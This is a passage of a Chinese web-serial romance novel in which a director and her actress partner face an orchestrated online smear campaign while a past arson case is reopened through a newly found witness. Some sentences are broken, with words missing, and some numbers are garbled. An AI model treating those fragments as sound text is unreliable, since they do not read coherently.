在黎数拍摄工作的溧阳市安安稳稳的过了最后一整夜,一行人坐了第二天一早的飞机回申海。 各平台的热搜词条仍然被先前的词条覆盖着,但有关于消防和黎清的所有信息全部被清空,即便不在幕后工作,黎数也敏锐的嗅到了一丝不同寻常的气息。 到家时已近下午,周姨又从老宅回来,知道她们今天落地,在家里备好了饭菜。 吃了两个多月的外卖和小吃店,猛地一闻到周姨手艺的味道,黎数肚子一下子就叫了起来。 “快来吃点东西。”周姨心疼的看着黎数瘦了一圈的脸,她什么都了解,可又不敢当着孩子面问,只能努力的多做点吃的给补充营养:“那么辛苦,瘦了一大圈。” “外面没有您的手艺,我都快想死了。”黎数笑了笑,牵着陆嵬的手坐下。 手艺被认可,周姨被她哄得高兴,接过了周姨递过来的一碗汤。 黎数抿了一口,想起进门时一闪而过的想法,“关于黎清和消防部所有的新闻全被清空了,两年前六陇市的火灾消息也全部被删除了。” 陆嵬扭过头:“做贼心虚。怕有记得的好事网友旧事重提,把两年前的大火灾和那栋别墅爆炸、甚至是十几年前你家里爆炸的事情联系起来。” 黎数挑眉:“好事网友?” 陆嵬给黎数夹菜,叠成了个小山,又在黎数威胁的目光下停顿片刻,开始拆山。 最终摞成一个冒着尖尖的小坡,黎数没再拒绝,接过去吃了。 陆嵬投喂的癖好被满足,这才点了点自己:“比如我。” 算算从事发到现在也差不多两三天了,过得极为漫长,黎数问:“顾宗年那边还一直没什么回应。” “很快了。”陆嵬讽刺一笑,“在他出面之前,惯例会有别的人代他传话。” 话音刚落,大厅的门铃就被从外面按响了。 回家以后一直没出现过的521匆匆从电梯出来,猛然间撇到已经回来的黎数和陆嵬,顿时哭喊一声,一边‘呜呜呜’的哭着,一边遥控打开了大门。 “呜呜呜小黎小黎。”521扑到黎数腿上,流着宽面条泪,“我可怜的小黎。” 黎数差点被一口排骨噎住,扭头时发现来的人是秦子帆,她一顿,当没看见似的低头问521:“我怎么可怜了?” 521举起自己的手机,短短小小胖乎乎的指头在屏幕上戳戳,一行大字顿时映入了黎数眼帘—— #黎数现身申海市机场,风光不胜往昔,眼圈青黑红肿,面容憔悴,疑似在飞机上刚刚哭过# 黎数一顿,旋即面色古怪的看了陆嵬一眼。 陆嵬莫名其妙的说:“怎么了?” 黎数:“……没事。” 三个人旁若无人的默契无视了秦子帆。 秦子帆忍了忍气,在黎数的确藏不住憔悴的脸上看了一眼,最终还是扭过头,对陆嵬说:“宗年哥要见你。” 一句宗年哥让陆嵬直接把手上的筷子扔了。 她面无表情的说:“你恶心不恶心。” 秦子帆和陆嵬五六分像的脸上也是受到了什么屈辱和忍让的模样:“陆嵬!说到底你都是我女儿,你以为我真会害了你吗?你以为那些奖项有什么用?只有利益、金钱、上层资本的置换才是最重要的!你追求的东西到底有意义吗?找谁拍戏不是拍,什么内容不是内容,何必非要坚持你的那一套!” 陆嵬冷着脸,双臂环在胸前,摆明一副拒绝交谈的姿态。 秦子帆在桌子上放下一张卡片,没再多说,离开了。 黎数捻起一看,发现是顾宗年办寿宴的那家五星级酒店的包间号。 “要去吗?”黎数问。 陆嵬避而不答,脸上还是强忍的恶心:“刚刚521和你看到了什么?怎么表情都这么古怪,它在那嚎什么?” 知道她是故意转移话题,黎数没再问,把卡片随手放在一边,干脆坐到了陆嵬腿上。 一下馨香的味道扑了满鼻,柔软带有重量的身体抱了个满满当当,陆嵬神色一松,埋在黎数胸口深呼吸了一口气,才抬头看向了刚刚黎数看的那个词条。 而后她向后退了点,仔细端详了一会,说:“无良小道记者乱写,你漂亮死了。” 黎数伸手捏陆嵬的脸,“姐姐眼睛可还没近视。” 说着,黎数很危险的眯了眯眼睛,点着那词条上的几个词一个一个去和陆嵬拆解。 眼圈青黑红肿——被陆嵬缠了两夜,神仙都得变熊猫。 面容憔悴——理由同上,睡眠严重不足,腰酸腿软,今早起床差点没站住直接跪地上。 疑似在飞机上刚刚哭过——还是睡眠太少惹的祸,飞机上睡不踏实,黎数打哈欠打的。 陆嵬静静地听完,很诚心的低头认错:“都怪我。” 嘴上在道歉,手在往黎数衣服里钻。 黎数气不打一处来,五盒指套两个晚上让陆嵬用完,她到现在坐着都难受,樱桃被陆嵬吃的太狠,被衣服摩擦的难受,又肿着,现在还贴着创口贴。 “你差不多行了!”黎数瞪她一眼,攥着陆嵬的手压在她后背,很危险的说:“晋楚过几天要来申海,她一个人不方便,你信不信我搬过去和她一起住几天。” 陆嵬面无表情的盯着黎数看。 黎数一点没退缩。 陆嵬睫毛颤颤,旋即低下头,一脑袋扎进黎数胸前,被衣料阻隔,传出的声音显得闷闷的,听起来又委屈又难过:“我错了姐姐,你别生我的气。” 陆嵬是装的。 明明心里都知道,黎数还是忍不住松了钳制她的手,目光撇了眼桌子上那张精美的卡片,心想这是最后一次,下次绝对不能让陆嵬再这么装可怜糊弄过去了。 第80章 第八十章【VIP】 卡片上的邀请时间的前一天,黎数收到了顾宗年助理单发的短信。 黎数一阵的诧异,看了几遍才发现是真的:“说是邀我去试镜《真凶》。” 陆嵬皱眉。 短信内容黎数给她大致扫过,助理语言艺术玩的很妙,把自导自演说成了被人刻意曲解误导,顾宗年对此毫不知情,也不希望误会继续下去。 而助理那番话,传达的意思不外乎就两个。 一是觉得黎数不论是从外形还是演技方面都合适,邀请她去试镜,二是正好借着这次试镜的由头去打破这段时间愈演愈烈的谣言。 看起来是征询,实际上是逼黎数只能选择去。 黎数道:“不去的话,差不多就代表彻底撕破脸了。” 陆嵬点头,“他是这个意思。” 黎数又问陆嵬:“你会去单独见他吗?” 陆嵬笑了一声,摇摇头:“不去。去了恶心。” 黎数顺顺陆嵬的头发,手落在她后颈轻轻一捏,很满足的看陆嵬眼睛不自主的眯了眯。 黎数弯着眼睛笑:“好,那就不去。” 陆嵬抬眼,确认似的重复说:“那是顾宗年,你也不去吗?” “不去。”黎数直视着她的眼睛,“以后和他相关的,我都不想有一点关系。”- 开元半岛,翠竹居。 桌上有数杯已经凉透了的茶水,被顾宗年请来一些圈里的前辈已经走光了。 期间秦子帆给陆嵬打过电话,也发过短信,但陆嵬没有回复过,也没有接听。 顾宗年听着没开外放也挡不住的‘您拨打的电话正在通话中’的提示音,倏然开口:“不用打了。” 秦子帆一顿,将手机放下。 顾宗年若有所思:“看来小嵬是打定主意了。” 随着说话,顾宗年将手机摊开在桌子上,任由秦子帆看,同时说:“跟着她的那小丫头也没去试镜。” 屏幕上是副导演给顾宗年回的信息,同样是如出一辙的行为——黎数也像陆嵬一样,不接电话,不回信息,不见人。 沉默而诡异的两分钟过后,手机自动息屏。 秦子帆抬头,对上了顾宗年阴沉的表情。 秦子帆沉默片刻,说道:“我再去找她谈谈。” “不必了。”顾宗年笑了笑,朝秦子帆那边推去一杯茶,低声说:“子帆,孩子大了,翅膀硬了,总得摔个头破血流才能记得住教训。” 秦子帆看着面前的那杯茶,犹豫了一下,还是说道:“可我们还能做什么?陆嵬现在已经不是以前那个可以随意拿捏的小孩了。我妈……她已经痊愈出院了。” 顾宗年嗔怪的看了她一眼,像是在笑她天真,“你错了。她现在最宝贝的,是跟着她的那小丫头。” 顾宗年回忆着说:“你不是也见过吗?那小丫头和两年前死去的那个黎数,长得几乎一模一样。痴情的这一点,陆嵬倒是随了你,也不知道究竟是好事还是坏事。” 秦子帆说:“但我现在有点看不懂你了。” 顾宗年抬眼。 秦子帆道:“你说是要给小嵬铺路,可从《真凶》开始,她的本子经我之手被你以铺路为由要走了两本,可以你为首的导演圈子把她隔绝在外,甚至总导演的后面你都不肯加上她的名字,只能退而求其次的变成一个齐名的总编剧,还是凝雪参演的条件……” “她太年轻了。”顾宗年打断秦子帆:“那帮老家伙你是没接触过吗?陆嵬资历浅、口碑刚建立起来一丁点她就自己退了,你让我怎么给她冠名?” 秦子帆哑口无言。 似乎顾宗年说的也对,陆嵬在最耀眼的时刻因为黎数的意外离世而一蹶不振,从此以后彻底从导演圈子消失。 “你也别想太多。”顾宗年轻声安抚她:“你还不了解这圈子吗?不先把自己的作品上交两部当祭品,不先给上面交投名状,不先把‘奉献’和‘无私退让’的名头打出去,你怎么让那帮老家伙相信小嵬和他们是一条心?是真想挤进那个圈子里?” “我也不会做什么,顶多是挫挫她的锐气罢了。等那小丫头的形象和口碑跌到谷底,无戏可拍、已接的工作被大规模抵制,在这圈子里寸步难行的时候,陆嵬必定会来求我,一切就会回到从前的样子。”顾宗年笑笑,“到时候,就是咱们一家三口共赢的局面,等我老了,我所有的一切,不还是小嵬的吗?我可以顺理成章的给她正名。” 手- 没过几天,因为冷处理而讨论度渐消的#黎了榜首。 #黎数抢C咖##黎数不敬长辈##黎数抢戏#等词条疯狂涌现。 接到电话的时候,黎数还有点懵,“谁?汪兰?” 她在家休息了好几天,连着忙碌了几个月,回来以后花园,但天气太冷,,就只松了松土,暂时选择盆栽,等春天正好移种。 正忙的灰头土脸,黎数就接到了裘夏的电话,说是汪兰突然在各个平台录视频发声,痛斥黎数抢占牌照位置,仗着自己有资源、有背景将她挤出剧组。 “是她。”裘夏无语的说:“陆嵬在你边上没,你问问她到底什么情况?当初我跟她倒是提过一嘴,她跟我说汪兰那边不是安抚好了吗?现在怎么突然又蹦出来了?” 黎数忙说:“等等,她在我身边。” 按了公放,黎数把手机放在不远处,将花草的根须甩甩,往花盆里放土。 陆嵬和裘夏简单对了两句,沉吟了会说:“不用管她。” 说着,陆嵬看了一眼时间,早上八点。 她又垂下头,盯着那一堆占了黎数好几天的花花草草看了一会,脑子一抽,莫名其妙把黎数刚栽进去的一颗多肉又给薅了出来。 黎数震惊的瞪大眼,无声的谴责她虐待花草。 陆嵬好像才意识到自己干了什么一样,又把那颗多肉给塞了回去,又用爪子拍拍上面的土,佯装无事发生。 之后她一本正经的和电话那头说:“汪兰那边不用管,她掀不起什么事端来,你继续往下接洽黎数后面的工作就可以,我估摸着,晚上六点到八点之间才是真正的重头戏。” 裘夏苦笑一声:“接洽什么,现在小黎处在风口浪尖,《时装》杂志销量跌破历史最低点,还是首次被大规模抗议开退款通道,之前接的工作多多少少都是和寰宇可以置换的平等资源,盈亏还好说,高等级的资源就难讲了。” 黎数倒是没什么反应,但陆嵬皱了皱眉,说:“我知道了,我会尽快处理。” 挂断那通电话后,陆嵬的情绪明显焦躁了许多。 面上也很明显。 气鼓鼓的抿着唇,眉毛皱的很紧,但到底还是年轻,皱眉没什么皱纹,鼓起个不明显的小包,生气了都挺可爱。 黎数拍拍她往土里倒水的爪子,“刚跟你说过不要浇水,怎么又忘了。” 陆嵬抬头看她一眼,不说话,闷不作声的侧了侧身。 黎数看她这样子觉得好玩,拍干净手上的土屑,拿过一边的手机,说:“我先看看汪兰说了什么,你不好奇吗?” “还能是什么。”陆嵬兴致缺缺。 汪兰放出来的是几段视频,是《秘宝》开机宴那天的事情。 她刻意标出了自己和黎数本来站的位置,又着重划出了最后所有人的站位,这时候黎数已经和她互换,站在了沈凝雪身边,而她自己则被挤到了边缘角落,身边几个不出名的配角看她的表情多有同情。 其后则是晒出了签约合同,以及解约合同,并单独着重的说明了是开机才被换,刻意夸大了自己是被强行挤出剧组,给资源咖让路的情况。 汪兰到底是资深的演员,在有这样的铁证的情况下,网友的风向几乎是朝着一边倒,很快,开始连带着前几天的字眼细数出道这短短不到一年的时间里,都到底做了那些能被拉出来痛骂的事。 靠不正当手段上位,消费逝者,消费逝者家属炒作,利用灾区舆情为自己洗白,无作品无资历抢占合照C位,不尊敬长辈,靠后台挤占他人资源,破坏行业规则,两面三刀,空口造谣长辈抄袭抢占他人成果,造成了极其不良的风气和影响。 灾情过后,被迫陷入低调压抑不敢喧闹的各个平台顿时狂沸了起来。 有因为黎数年纪小支持她的,有嗅到了这种近乎类似‘围剿’的气息觉得风头不对,试图拉着网友中立冷静看待的,有陷入吃瓜怪圈以讹传讹的,也有莫名其妙恨不得黎数分分钟糊掉甚至去死才能解气的。 黎数放下手机,觉得眼酸,用手背抵着眼睛轻轻按了按。 她不是第一次经历颠倒黑白春秋笔法,可之前大多都是围观。 身为局外人从头到尾当一个看客,亲眼看过数十场声势浩大的大战,最终会发现其实没有赢家。 因为身在网友的视角上,是根本无法去得知那究竟是公司的营销手段,还是真实发生的事情。 更无从得知谁究竟是对,谁又究竟是错,又或者站在当事人双方的视角上都觉得自己本来就没有错。 比起刚和寰宇签约时的情况还有些不同,那一次黎数是真正意义上的做足了心理准备,甚至裘夏给她看过营销方案,所以针对一些伪人发言,看得多了,也就习惯了。 现在是真真切切的、扑面而来的恶意围剿。 “难受吗?”陆嵬跪在一片尘土里,明明比黎数要高,但双手撑在地上,硬是压下了身体,向上望着黎数:“这些都是假的,别放在心上,很快就会过去的,我保证。” 黎数摇摇头,松开手,眼睛有些红,可能因为看的时间久了,手机有点刺眼。 她轻声说:“想解约的合作方,要不就跟他们解约好了,没必要在这种时候非要出去置换资源,再去做一些赔本的担保。” 陆嵬静静地望着她。 黎数手上还有很多泥土的粉尘,只能用手背蹭蹭陆嵬的脸颊:“电影和综艺总会上映,有的时候口碑翻转的就是会很快,不需要急在这一时。这个时间就要解约而不向下深入进行背调的合作方不要也罢,利益倾向太明显,以后也不会有什么帮助。” 陆嵬抿抿唇:“没有要解约的工作,裘夏说的是新接触的一些寰宇置换范围外的时尚代言。” 黎数讶异:“时尚代言?” 陆嵬点点头,“嗯。不过有一句话你说的倒是对,现在去接触这些品牌方,愿意向下深度了解艺人的才是真正可以长久合作,也能风险共担的。” 本来是想让陆嵬和裘夏趁着这段时间休息休息,谁知道一句无心的话,愣是让陆嵬品出了点别的意思。 黎数哭笑不得,“怪不得外婆说你有经商上的天赋。” “我没有。”陆嵬没什么兴趣,她开始不满足于跪在地上这么看黎数,膝行着爬到了黎数身上,和她面对面的拥抱着。 黎数比从前低了点,想整个人这种姿势缩在她的怀里,需要陆嵬长时间弓腰。 弓着腰并不算舒服,但陆嵬往后坐了坐,还是执着的把头埋在黎数胸口,耳朵轻轻贴着,去听她的心跳,去听她平稳的呼吸,去闻她身上总是很温和,很能安抚人心的味道。 “好吧,没有就没有吧。”黎数也不在意,说:“那有当导演的天赋是对的吧?” “可能有点吧。”陆嵬嘀咕:“也可能不多。” 黎数眨眨眼,后背没有依靠的承受着一个人的重量,时间久了有点累,她往后看看,后背倒是没有尘土,干脆平躺下,舒一口气,说:“怎么回事呢陆导,突然没自信了?之前不是还说要把我捧红的吗?” 陆嵬绷着脸从黎数胸口略略抬起,和黎数对视了一会,唇角上扬了点,很纡尊降贵的说了一句:“行,那我还有点天赋和自信。” 黎数失笑,捧着陆嵬的脸吻了她一下,“可爱死了宝宝。” 陆嵬耳朵尖通红:“你好肉麻啊姐姐。” 黎数躺在地上,眯着眼看窗外半融化的积雪,说:“肉麻总比冷淡强。” “再说了。”黎数又捧着陆嵬的脸,没怎么用力,但陆嵬很配合的跟着她的力道重新抬起脸,唇角带着笑,显然是喜欢的。 黎数也不管手脏不脏了,在陆嵬脸上蹭,本来想说‘你明明喜欢’,但话到嘴边,还是换了一句,“爱你才会这么说。” 陆嵬被黎数很轻而易举的转移视线并成功哄好,黎数顺着她的发丝,忽然说:“这段时间有没有按时吃药?” 陆嵬身上的药盒林林总总十几种。 情绪方面的遏制药物、镇静的、舒缓的、还有心脏方面的养护药物。 陆嵬脸一皱,“吃了。” 黎数拍拍陆嵬腰侧,陆嵬停顿片刻,从口袋里把药盒掏出来,声音闷闷的说:“真的吃了。” 按照土话说,陆嵬属于嗓子眼比较细的那一类人群,吞咽药物方面比较困难,尤其是考虑到她的身体情况,俞宝珠这些年给她的药有一部分是中药药丸。 一顿都要吃上百颗。 后来又改成了浓缩药丸,一是方面携带,二也是不需要吞的这么困难。 黎数检查数过,确定今天的药量有按时吃,这才放下心,挤了挤陆嵬的脸,“乖乖。”- 各大平台的热搜又高高悬挂了几天,但黎数晚上刷到相关内容的时候,却忽然感觉事情似乎并没有向着最坏的方向发展。 “网友似乎没有跟着一起骂我。”黎数很诧异,“更多人似乎开始对这些发布的内容变成了疑问。” 陆嵬说:“现在的网友思想已经和从前不同了,都有脑子,会思考,网络这么发达,互联网人脉低端能渗透到黑网吧,高端能渗透到联|合|国,早就不是煽风造势就能舆论一边倒的年代了。” 然而成也舆论,败也舆论,黑红掺半的营销手段至今都还是最常见的,只要给大众看到想让他们看到的,那么大众的言论照样能被牵着走- 晚上八点,饭点过后的娱乐高峰,就如陆嵬所料一般,真正的重头戏来了。 一位业内的资深制片人在平台公开发声,指责黎数狂妄自大,仗着自己有演技,和陆嵬关系非同一般,对陆嵬的生母和继父不敬,言语多有冒犯,明明答应了试镜、一起吃饭商谈电影相关事宜,却晾着一桌子人毁约不到场,徒留顾宗年和秦子帆难堪。 与此同时,一段顾宗年的采访视频被炒到了第一位。 视频里,顾宗年满是对娱乐圈现象和后辈不知天高地厚的无奈,一句句‘年少轻狂’‘口无遮拦’‘愿意悔改就还是好孩子’‘毕竟和小嵬关系匪浅’,更是把黎数更是架在了火上烤。 一夜之间,如同雨后春笋一般,演员、歌手、导演、摄影……一个个知名、不知名的‘相关人员’和‘曾经合作过’的人纷纷冒出头来。 这些人并没有指责黎数,而是一味以‘自身’出发,去夸赞和心疼这位年过半百、兢兢业业为演艺事业做贡献,被一个新人仗着背后资本欺负、造谣、却有口难辩的导演。 黎数放下手机,几乎麻木了。 这全程她都像是一个被迫卷入了自身战斗的过客。 冷眼看着突然陷入疯狂的舆论,热搜内容和词条的千变万化,更是看着顾宗年以一手之力去颠倒黑白,满嘴胡言乱语,却有一群人趋之若鹜的盛景。 “场记、灯光、美术、场务……” 短短半小时,寰宇公关公司总结出了所有为顾宗年发声的人的职业和身份,没有一个人隐瞒,这些人背后的公司、参演的剧组全都是顾宗年和他背后关联公司的员工。 黎数叹了口气:“就这么看起来,我真像是个十恶不赦,要把业内资深老前辈给气死过去再气活过来的罪人。” 陆嵬脸上没有一丁点笑。 手机屏幕冷色的光反照下,一双浅瞳冷的刺骨。 “利益纠葛下,被授意过后被迫站队也是这些人唯一的选择。”陆嵬说:“毕竟曾经的顾宗年的确是这个行业里不可攀升的一座高山。” 高山就会让山脚下被阻隔了前路,只能抬头仰望的人无数阴霾。 黎数心疼的看着陆嵬。 陆嵬读懂了她的眼神,无声的呼出了一口气,垂着眼扑进了她怀里,说:“不过,差不多是时候了。” 黎数还不知道陆嵬要干什么。 过了会,陆嵬点了点手机,仰着脸说:“我关注你了,刚刚发了个微博。” 黎数一手还环着陆嵬,另一手轻巧开屏,点开了手机。 陆嵬的微博没有那么多花里胡哨的前缀和后续,就一个简单明了的名字。 陆嵬:@黎数,等天亮。 黎数第一个瞬间就察觉出了‘等天亮’个三个字是一语双关。 她怀里抱着陆嵬热乎乎暖洋洋的身体,一手无意识的抚摸着她的腕骨,说:“要放那些证据了吗?” “嗯。”陆嵬垂眸,遮住了眼里的寒光,“我是真的、真的、想让他死。” 80-90 第81章 第八十一章【VIP】 门铃响起的时候,陆嵬正腻在黎数怀里,有一下没一下的亲她的手臂上的软肉。 捏捏摸摸揉揉抱抱,黎数偶尔低头,感觉陆嵬那张嘴在她身上好像就没停过。 不光这样,偶尔她还要咬上一口,又怕真的把她咬疼,轻轻一下就松开,再安抚的亲亲蹭蹭。 521在那片地毯上和元宝一起玩积木,听见动静时头也不抬,忙的用了最短的话,“陆嵬,你妈。” “……” 黎数一晃神没绷住,‘噗嗤’一下就笑了。 陆嵬无语,受不了521的偶尔智障:“那你还不去开门。” 521摆城堡摆到了最关键的时候,不情不愿的滑过去开门,臭着脸对压根没看见她的秦子帆说:“你干什么又来啊。” 秦子帆一怔,才看到只到她半身高的小机器人。 她到现在还是不适应这个过于智能的生物,没搭理它,自顾自走到了客厅,见陆嵬还腻在黎数身上,不适应的皱了皱眉。 “坐好!”秦子帆坐在单人座上,“你现在这样成什么样子?” 陆嵬唇角扯了扯,却没起身,“有事说,说完走。” 这段时间黎数没什么工作,陆嵬乐的开心,但也知道这种状态只是暂时的,每天更是加倍的黏着她。 黎数前段时间毫无预兆的忙起来,也有点内疚,心里想着要补偿,陆嵬这段时间的行为她都纵容了。 见这样也只是拍拍陆嵬的脸,陆嵬看了她一眼,黎数其实并没有什么表情,也没说什么,但陆嵬还是不高兴的努努嘴,从黎数腿上坐起来了。 头发躺的有些乱,陆嵬像是只没精打采的猫,但到底是比刚刚躺着的样子强一点。 黎数看的好笑,用手当梳子,一下下给陆嵬去顺头发。 秦子帆压下心里的不适,“你今晚发的那条微博到底是什么意思?你手里掌握了什么证据?” 陆嵬看了她一眼,百无聊赖的给黎数倒了杯茶,回身递到了黎数手边,才说:“你管不着。” 秦子帆气的不行,硬压下愤怒,疾声道:“你能有什么证据?无非也就是你那两部作品创作的时间线,还有一些可有可无的人的发声,你又以为能闹多大?了不起就是给他多一点纠纷,对他的地位也造不成任何影响。” 陆嵬不无讽刺的看了秦子帆一眼。 秦子帆没看到,她已经打开了录音笔,内容正是陆嵬没去的那一顿鸿门宴。 她手抚着胸口,自顾自的说:“只要你肯找他低头认个错,他现在所有的成就,人脉,关系圈子,各个院校的好苗子以后不都是你的吗?” “我不稀罕。”陆嵬笑*笑:“成就,人脉?你以为顾宗年手里的人脉能有多硬?还能像一三十年前那样只手遮天?太天真了。” 陆嵬简直是油盐不进。 秦子帆的目光转向黎数,语气尖锐了许多:“你跟在小嵬身边,为什么也不劝劝她?你也不是个傻子,这次彻底撕破脸,你和陆嵬以后还想拍好的电影,还想拿奖?这条路你们又能走多远?” “即便有陆嵬能给你保驾护航,可一个特立独行的人又能走多远?不融入这个圈子,不牺牲、不妥协,她就永远是个异类,这样的她又能保你几部戏?你身上的杂志,合作,代言又能留几个?一十五岁以后你不会去想接触奢饰品代言,不会更想往上爬吗?寰宇能置换出去的资源能有多少?再这样下去,上级圈层永远不会接纳你,因为这意味着制度的崩朽,掌权者资源的失控!” 陆嵬见不得秦子帆这样冲黎数说话,当下冷了脸,“你有话冲我来。” “那你听吗?!”秦子帆失声说道。 她们母女俩每一次相见几乎都是针尖对麦芒,谁也不肯退一步,谁也不肯先妥协。 黎数心里责怪秦子帆的不称职,这个时间来,又是卡在了陆嵬要反击的当口,很难不让人去多想——秦子帆是不是担心陆嵬出示的证据真的会对顾宗年不利,所以先来打探口风,又或是想大事化小,小事化了。 他们手上的证据足够重启当年的火灾调查,只是缺了最关键的一个证人——当年的保姆。 春风这段时间总会偶尔提起说一定是在哪里见过那个保姆,甚至说一定就是最近,但就差那么临门一脚,怎么都没想起来。 不过圈子还是缩小了许许多多。 黎清私下帮忙调查,但这件事情绝对不能走漏一点风声,以免打草惊蛇。 轻拍拍,陆嵬朝她的方向看了一眼,表情一瞬间变得委屈,身体也像是没了骨头支撑 秦子帆一愣。 黎数环着陆嵬,此情此景简直诡异到了极点——快三数搂到怀里安慰。 :“阿姨,您与其在这里纠缠陆嵬,不如先去考虑清楚和顾宗年彻底划分好楚河汉界,以免他真 秦子帆皱眉:“你什么意思。” 黎数一手放在了陆嵬胸口,轻巧的拨开了两颗扣子,陆嵬垂着眼,有心想贫嘴一句,夸黎数解扣子好熟练,一抬眼,秦子帆跟个门神似的在那坐着,她又闭上了嘴。 一条狰狞的疤痕浅浅冒出头,秦子帆被烫到般避开了视线。 黎数重新仔仔细细的给陆嵬扣上扣子,手指安抚似的轻扫了两下,重新抬起头,说道:“你觉得顾宗年为什么要狗急跳墙,死咬着陆嵬,乃至是我不放?” 秦子帆不语。 黎数轻轻笑了一下,“我先前也不懂。陆嵬也一直只以为是因为那两个精彩的剧本,所以顾宗年才会一次次将手伸向对她最重要的人身上。” “现在我发觉,其实并不是。” “是因为现在的观众有自己的审美,是因为在网络发达的现在,一部好的片子就是能冲出重围,一个好的演员就是能被看到。而陆嵬是近几十年来都少有的、可以完完全全原创,并赋予所有角色灵魂内核,几个镜头就可以拍出演员人生镜头的导演,她当之无愧。” 黎数微微一笑,“顾宗年是嫉妒、是渴望、是畏惧、是艳羡,因为他知道陆嵬的上限不可估量,所以他想通过我,来掌控陆嵬,让陆嵬变成可以将一切荣耀拱手送给他的傀儡,这样他才可以重现辉煌,而不是一次次被后辈赶超。” “但也诚如所有人知道的那样,两年前陆嵬失去黎数,就像是秦失其鹿,她没有了灵感来源,没有了创作想法,她的灵魂死了,她变成了一个对顾宗年而言没有利用价值的废人。所以顾宗年退而求其次,将目标都放在了陆嵬仅存的那部作品上,经您之手,他成功了。” 秦子帆没料到黎数连这个都知道,当下脸一白。 “而现在,偏偏我回来了,虽然这么讲有些居功,但我相信,陆嵬重新回到巅峰只是时间的问题,《秘宝》就是她打的第一枪。” “您口口声声是为了陆嵬的未来和前途考虑,可您有没有想过,陆嵬今天一切的苦难,都是你造成的。” 黎数直直的看着秦子帆:“中医上讲陆嵬是心脉受损,西医上说是心碎综合征,裘夏告诉我这件事的时候,我才知道两年前陆嵬的情况到底有多凶险,几次命悬一线。而你,她的亲生母亲,成了当年压垮她的最后一根稻草。” 客厅里安静了几秒,秦子帆失神的表情瞒不过所有人。 秦子帆怔愣抬头。 黎数的那句‘我回来了’让她下意识觉得不对,可一时间也细想不出来究竟是什么,只觉得黎数此刻说的话,绝对不应该是一个和陆嵬认识了不过一年多的小女孩。 不由一阵恍惚的说道:“你……” “陆嵬被你生下来,可你并没有好好教养她,生在富贵乡,却让她寄人篱下了十几年。虽然晚了太多年,但我今天腆着脸,也能说一句,陆嵬也是经我手才好好养成的花。”黎数面上没笑,“别再打着为陆嵬好的旗号一次次的伤害她了。” 黎数摸摸陆嵬的脸蛋,起身送客。 秦子帆被迫着起身,跟着黎数一起走到了门口。 寒风刺骨,落叶缤纷。 黎数站了一会,才开口说:“这一路上一个人来找陆嵬,再一个人回到家的滋味想必不太好受吧?” 身边的人久久没有出声。 “您是想选他还是选家,天亮的时候,不妨自己拿个主意。”冷风起了,黎数缩了缩脖子,“我也不是威胁,只是您如果选他,你用移植的事情来逼陆嵬把剧本交出去的事儿,从我这开始,就瞒不住了。” 秦子帆瞳孔一缩,心底最畏惧也最内疚,日日夜夜想起时都让她愧悔万分的事情被黎数挑明,那一瞬间,她的表情近乎崩裂。 但黎数冲她笑笑,退后一步,将大门缓缓拉上,再不给秦子帆说话的机会。 521已经给黎数倒上了安神的热茶,同时仰头和陆嵬说:“你妈走了。” 陆嵬躺在沙发上,面无表情的看了521一眼。 521很不高兴:“你能不能跟你妈说,让她以后不要来了。她这样真的很打扰我们一家四口的亲子时光。” 陆嵬挑眉,亲子时光? 521噘嘴,牵着陆嵬的手摇摇:“好不好嘛,好不好嘛,好不好嘛。” 陆嵬笑笑:“行。以后她再来,你直接让她走。” 521这才满意,摇头摆脑的重新走到了自己堆的城堡前,嘀嘀咕咕的把城堡继续叠高高,确定好外观以后,再一个个涂上强力胶,最终,把已经很肥美了的元宝放了进去,成功给元宝造了一个猫很喜欢的窝- 第一天一早,比陆嵬团队先了一步,一个更轰动的标题映入眼帘—— #顾宗年秦子帆离婚# 看到这条消息的瞬间,陆嵬是没什么情绪的。 这几天她都没怎么好好睡觉,罗列相关证据、和申海市警方接洽,以及以黎清为代表秘密成立的调查组罗织当年的证据链,包括应对顾宗年的一切证据和随时待命的公关团队随时沟通。 她太忙了,忙到看到这条消息的第一反应,是和裘夏说:“舆论上来说是好事,按计划继续。” 裘夏当时深深的看了她一眼,片刻后忽然说:“你前几天忽然去做亲子鉴定,是猜到后面可能会发生什么事情了吗?” 陆嵬面色不动,没瞒裘夏,说:“最差的结果,就是顾宗年团队放出我和他的亲子鉴定说明,将一切纷争引导成一场叛逆女儿不能接受现实的豪门闹剧。” 裘夏嘴唇张张合合半天,没敢问结果。 陆嵬却笑了笑,说:“放心,不是。” 裘夏还没来得及松一口气,就见陆嵬面色古怪的说:“我还顺手做了和陆茂的亲子鉴定,我也不是陆茂亲生的。” 裘夏:“……” 裘夏震惊:“什么?!” ‘嗡’的一声,陆嵬手机的震动打断了两人的对话。 是黎数打来的电话,陆嵬比了个手势,眼睛一弯,按下接通。 裘夏站在她身侧,忽然笑了笑,但也没走开,光明正大的偷听。 黎数的声音很激动,“那个保姆找到了!” 陆嵬几乎瞬间从椅子上站起:“什么?” 她很快回过神,低声说道:“在哪!” “已经被抓捕了,现在正在录口供,她交代的很干脆。”黎数匆匆说道,“我和春风跟晋楚现在在警局外面,黎清正在办理临时调职手续,现在也在赶来得路上。” 匆匆挂断手机,陆嵬起身,裘夏连忙跟上,“出什么事了这么急?” 陆嵬的喜色溢于言表,一双浅瞳在阳光下熠熠生辉,反射出了极为透亮的神采:“那个保姆找到了。” 保姆的出现代表了最关键的证人证词,而黎数还带来了另外一个消息—— 当年的大火将一切证据付之一炬,包括那个阻燃隔热、不该被大火焚毁的出现‘误报’的报警器。 因为那个神秘失踪的报警器,作为保命的护身符,被保姆偷偷藏了起来。 裘夏几乎瞬间就想通了这其中的关窍。 顾宗年侵占他人剧本、论文,说到底都是素养缺失,并不构成违法行为,夏希和那个自闭并患有先天残疾的孩子曝光,也不过是给他的私生活加上一些丑闻。 这段时间以来,陆嵬也调查了顾宗年和秦子帆旗下的基金、公司以及投资相关,但顾宗年太谨慎了,给他擦屁股的人也太多,证据始终寥寥无几。 但现在他要面临的,是恶意纵火和谋杀。 这是犯罪。 一旦证据确凿,这次的事件,会从简单的舆论风波,变成刑事案件。 而顾宗年必定身败名裂,甚至面临牢狱之灾。 开车前往警局的路上,裘夏莫名其妙和陆嵬对视一眼,说:“我忽然想到一句土话。” 陆嵬看裘夏一眼,但心神被和黎数的对话引走,没来得及说话。 已经过了一会了,但她还是难忍激动,又不知道该说什么好,除了和黎数发消息,就是一个劲儿的乱点从黎数那偷来的表情包,反正就是要骚扰黎数。 连发了十几条,陆嵬收到了黎数发来的微笑警告。 陆嵬满足了,陆嵬老实了,陆嵬发了一堆亲亲和红玫瑰表情包。 